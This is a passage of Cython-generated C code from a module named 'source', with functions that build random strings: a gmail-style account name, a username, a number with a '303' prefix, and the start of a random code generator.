  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_random); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_choices); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_string); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ascii_lowercase); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_GIVEREF(__pyx_t_4);
  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4);
  __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_k, __pyx_int_20) < 0) __PYX_ERR(0, 378, __pyx_L1_error)
  __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = PyUnicode_Join(((PyObject*)__pyx_t_1), __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_v_name = __pyx_t_4;
  __pyx_t_4 = 0;

  
  __pyx_t_4 = PyList_New(0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_random); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_choices); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_string); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_digits); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_2);
  PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2);
  __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_k, __pyx_int_4) < 0) __PYX_ERR(0, 379, __pyx_L1_error)
  __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = PyUnicode_Join(((PyObject*)__pyx_t_4), __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 379, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_v_number = __pyx_t_2;
  __pyx_t_2 = 0;

  
  __Pyx_XDECREF(__pyx_r);
  __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 380, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_6 = 0;
  __pyx_t_7 = 127;
  __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_v_name, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 380, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7;
  __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3);
  __Pyx_GIVEREF(__pyx_t_3);
  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3);
  __pyx_t_3 = 0;
  __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_v_number, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 380, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7;
  __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3);
  __Pyx_GIVEREF(__pyx_t_3);
  PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3);
  __pyx_t_3 = 0;
  __Pyx_INCREF(__pyx_kp_u_gmail_com);
  __pyx_t_6 += 10;
  __Pyx_GIVEREF(__pyx_kp_u_gmail_com);
  PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_gmail_com);
  __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 380, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_r = __pyx_t_3;
  __pyx_t_3 = 0;
  goto __pyx_L0;

  

  /* function exit code */
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_2);
  __Pyx_XDECREF(__pyx_t_3);
  __Pyx_XDECREF(__pyx_t_4);
  __Pyx_XDECREF(__pyx_t_5);
  __Pyx_AddTraceback("source.generate_random_account", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __pyx_L0:;
  __Pyx_XDECREF(__pyx_v_name);
  __Pyx_XDECREF(__pyx_v_number);
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}



/* Python wrapper */
static PyObject *__pyx_pw_6source_9username(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
static PyMethodDef __pyx_mdef_6source_9username = {"username", (PyCFunction)__pyx_pw_6source_9username, METH_NOARGS, 0};
static PyObject *__pyx_pw_6source_9username(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  PyObject *__pyx_r = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("username (wrapper)", 0);
  __pyx_r = __pyx_pf_6source_8username(__pyx_self);

  /* function exit code */
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

static PyObject *__pyx_pf_6source_8username(CYTHON_UNUSED PyObject *__pyx_self) {
  PyObject *__pyx_v_name = NULL;
  PyObject *__pyx_v_number = NULL;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  PyObject *__pyx_t_3 = NULL;
  PyObject *__pyx_t_4 = NULL;
  PyObject *__pyx_t_5 = NULL;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("username", 0);

  
  __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_random); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_choices); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_string); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ascii_lowercase); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_GIVEREF(__pyx_t_4);
  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4);
  __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_k, __pyx_int_20) < 0) __PYX_ERR(0, 384, __pyx_L1_error)
  __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = PyUnicode_Join(((PyObject*)__pyx_t_1), __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 384, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_v_name = __pyx_t_4;
  __pyx_t_4 = 0;

  
  __pyx_t_4 = PyList_New(0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_random); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_choices); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_string); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_digits); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_2);
  PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2);
  __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_k, __pyx_int_20) < 0) __PYX_ERR(0, 385, __pyx_L1_error)
  __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = PyUnicode_Join(((PyObject*)__pyx_t_4), __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 385, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_v_number = __pyx_t_2;
  __pyx_t_2 = 0;

  
  __Pyx_XDECREF(__pyx_r);
  __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_v_name, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 386, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_v_number, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 386, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 386, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_r = __pyx_t_4;
  __pyx_t_4 = 0;
  goto __pyx_L0;

  

  /* function exit code */
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_2);
  __Pyx_XDECREF(__pyx_t_3);
  __Pyx_XDECREF(__pyx_t_4);
  __Pyx_XDECREF(__pyx_t_5);
  __Pyx_AddTraceback("source.username", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __pyx_L0:;
  __Pyx_XDECREF(__pyx_v_name);
  __Pyx_XDECREF(__pyx_v_number);
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}



/* Python wrapper */
static PyObject *__pyx_pw_6source_11num(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
static PyMethodDef __pyx_mdef_6source_11num = {"num", (PyCFunction)__pyx_pw_6source_11num, METH_NOARGS, 0};
static PyObject *__pyx_pw_6source_11num(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  PyObject *__pyx_r = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("num (wrapper)", 0);
  __pyx_r = __pyx_pf_6source_10num(__pyx_self);

  /* function exit code */
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

static PyObject *__pyx_pf_6source_10num(CYTHON_UNUSED PyObject *__pyx_self) {
  PyObject *__pyx_v_number = NULL;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  PyObject *__pyx_t_3 = NULL;
  PyObject *__pyx_t_4 = NULL;
  PyObject *__pyx_t_5 = NULL;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("num", 0);

  
  __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_random); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_choices); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_string); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_digits); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_GIVEREF(__pyx_t_4);
  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4);
  __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_k, __pyx_int_7) < 0) __PYX_ERR(0, 390, __pyx_L1_error)
  __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = PyUnicode_Join(((PyObject*)__pyx_t_1), __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 390, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_v_number = __pyx_t_4;
  __pyx_t_4 = 0;

  
  __Pyx_XDECREF(__pyx_r);
  __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_v_number, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 391, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_303, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 391, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_r = __pyx_t_5;
  __pyx_t_5 = 0;
  goto __pyx_L0;

  

  /* function exit code */
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_2);
  __Pyx_XDECREF(__pyx_t_3);
  __Pyx_XDECREF(__pyx_t_4);
  __Pyx_XDECREF(__pyx_t_5);
  __Pyx_AddTraceback("source.num", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __pyx_L0:;
  __Pyx_XDECREF(__pyx_v_number);
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}



/* Python wrapper */
static PyObject *__pyx_pw_6source_13generate_random_code(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/
static PyMethodDef __pyx_mdef_6source_13generate_random_code = {"generate_random_code", (PyCFunction)(void*)(PyCFunctionWithKeywords)__pyx_pw_6source_13generate_random_code, METH_VARARGS|METH_KEYWORDS, 0};
static PyObject *__pyx_pw_6source_13generate_random_code(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {
  PyObject *__pyx_v_length = 0;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  PyObject *__pyx_r = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("generate_random_code (wrapper)", 0);
  {
    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_length,0};
    PyObject* values[1] = {0};
    values[0] = ((PyObject *)((PyObject *)__pyx_int_32));
    if (unlikely(__pyx_kwds)) {
      Py_ssize_t kw_args;
      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);
      switch (pos_args) {
        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
        CYTHON_FALLTHROUGH;
        case  0: break;
        default: goto __pyx_L5_argtuple_error;
      }
      kw_args = PyDict_Size(__pyx_kwds);
      switch (pos_args) {
        case  0:
        if (kw_args > 0) {
          PyObject* value = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_length);
          if (value) { values[0] = value; kw_args--; }
        }
      }
      if (unlikely(kw_args > 0)) {
        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "generate_random_code") < 0)) __PYX_ERR(0, 394, __pyx_L3_error)
      }
    } else {
      switch (PyTuple_GET_SIZE(__pyx_args)) {
        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
        CYTHON_FALLTHROUGH;
        case  0: break;
        default: goto __pyx_L5_argtuple_error;
      }
    }
    __pyx_v_length = values[0];
  }
  goto __pyx_L4_argument_unpacking_done;
  __pyx_L5_argtuple_error:;
  __Pyx_RaiseArgtupleInvalid("generate_random_code", 0, 0, 1, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 394, __pyx_L3_error)
  __pyx_L3_error:;
  __Pyx_AddTraceback("source.generate_random_code", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __Pyx_RefNannyFinishContext();
  return NULL;
  __pyx_L4_argument_unpacking_done:;
  __pyx_r = __pyx_pf_6source_12generate_random_code(__pyx_self, __pyx_v_length);

  /* function exit code */
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}
static PyObject *__pyx_gb_6source_20generate_random_code_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */



static PyObject *__pyx_pf_6source_20generate_random_code_genexpr(PyObject *__pyx_self) {
  struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *__pyx_cur_scope;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("genexpr", 0);
  __pyx_cur_scope = (struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *)__pyx_tp_new_6source___pyx_scope_struct_1_genexpr(__pyx_ptype_6source___pyx_scope_struct_1_genexpr, __pyx_empty_tuple, NULL);
  if (unlikely(!__pyx_cur_scope)) {
    __pyx_cur_scope = ((struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *)Py_None);
    __Pyx_INCREF(Py_None);
    __PYX_ERR(0, 396, __pyx_L1_error)
  } else {
    __Pyx_GOTREF(__pyx_cur_scope);
  }
  __pyx_cur_scope->__pyx_outer_scope = (struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *) __pyx_self;
  __Pyx_INCREF(((PyObject *)__pyx_cur_scope->__pyx_outer_scope));
  __Pyx_GIVEREF(__pyx_cur_scope->__pyx_outer_scope);
  {
    __pyx_CoroutineObject *gen = __Pyx_Generator_New((__pyx_coroutine_body_t) __pyx_gb_6source_20generate_random_code_2generator, NULL, (PyObject *) __pyx_cur_scope, __pyx_n_s_genexpr, __pyx_n_s_generate_random_code_locals_gene, __pyx_n_s_source); if (unlikely(!gen)) __PYX_ERR(0, 396, __pyx_L1_error)
    __Pyx_DECREF(__pyx_cur_scope);
    __Pyx_RefNannyFinishContext();
    return (PyObject *) gen;
  }

  /* function exit code */
  __pyx_L1_error:;
  __Pyx_AddTraceback("source.generate_random_code.genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __Pyx_DECREF(((PyObject *)__pyx_cur_scope));
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

static PyObject *__pyx_gb_6source_20generate_random_code_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */
{
  struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *__pyx_cur_scope = ((struct __pyx_obj_6source___pyx_scope_struct_1_genexpr *)__pyx_generator->closure);
  PyObject *__pyx_r = NULL;
